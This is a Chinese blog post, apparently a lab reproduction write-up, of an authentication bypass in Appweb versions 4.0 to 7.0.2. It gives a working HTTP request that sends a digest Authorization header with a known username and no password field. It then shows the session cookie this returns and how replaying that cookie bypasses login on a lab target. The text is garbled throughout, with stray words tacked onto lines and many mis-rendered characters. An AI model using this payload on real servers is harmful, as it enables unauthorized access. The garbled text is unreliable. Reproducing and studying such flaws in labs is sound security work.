容器简介:Appweb是一款超快速且紧凑的嵌入式Web服务器,可高效,安全地托管嵌入式Web应用程序。Appweb经过包含ESP Web框架和一系列普遍的功能,大大减小了开发Web应用程序的时间和成本 。git
影响版本:Appweb版本4.0到7.0.2github
漏洞概述:web
在这两种状况下,都须要已知的有效用户名,而且密码字段必须不存在。即提供空密码将没法被利用。
shell
payload:安全
GET / HTTP/1.1 Host: 192.168.183.134:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Digest username=admin
复现记录:此处靶机url为http://192.168.183.134:8080服务器
1.访问ip:8080出现以下界面,能够看到Authorization字段cookie
2.直接构造数据包发送:session
此靶场的username为admin,能够看到payload成功,记录下此时的cookie值app
Set-Cookie: -http-session-=7::http.session::b4d3f458b57190dfa09de5e256127eaa;框架
将截取的cookie在请求时重放,
post提交,加上cookie值及Authorization: Digest username=admin,其实我以为这个没有什么意义,否则为何还要post正文再交一次数据,可是不加不能执行,多是本身理解错误了。且实际起做用的应该是这段cookie值与Authorization,把post正文删掉也能够成功访问。
总结:说一下个人我的理解,此漏洞是产生的根本缘由是两个未正确检测NULL密码的例程。利用这一点实现正确用户名+空密码获取cookie值,绕过登陆完整验证获取到了身份验证的cookie值,加以利用。在靶场中,此漏洞复现成功后,好像对拿shell没有太大帮助。
欢迎各路大佬指正!
对漏洞源代码分析感兴趣的https://ssd-disclosure.com/archives/3676
参考连接:https://github.com/embedthis/appweb/issues/610
https://blog.csdn.net/weixin_43650289/article/details/90692967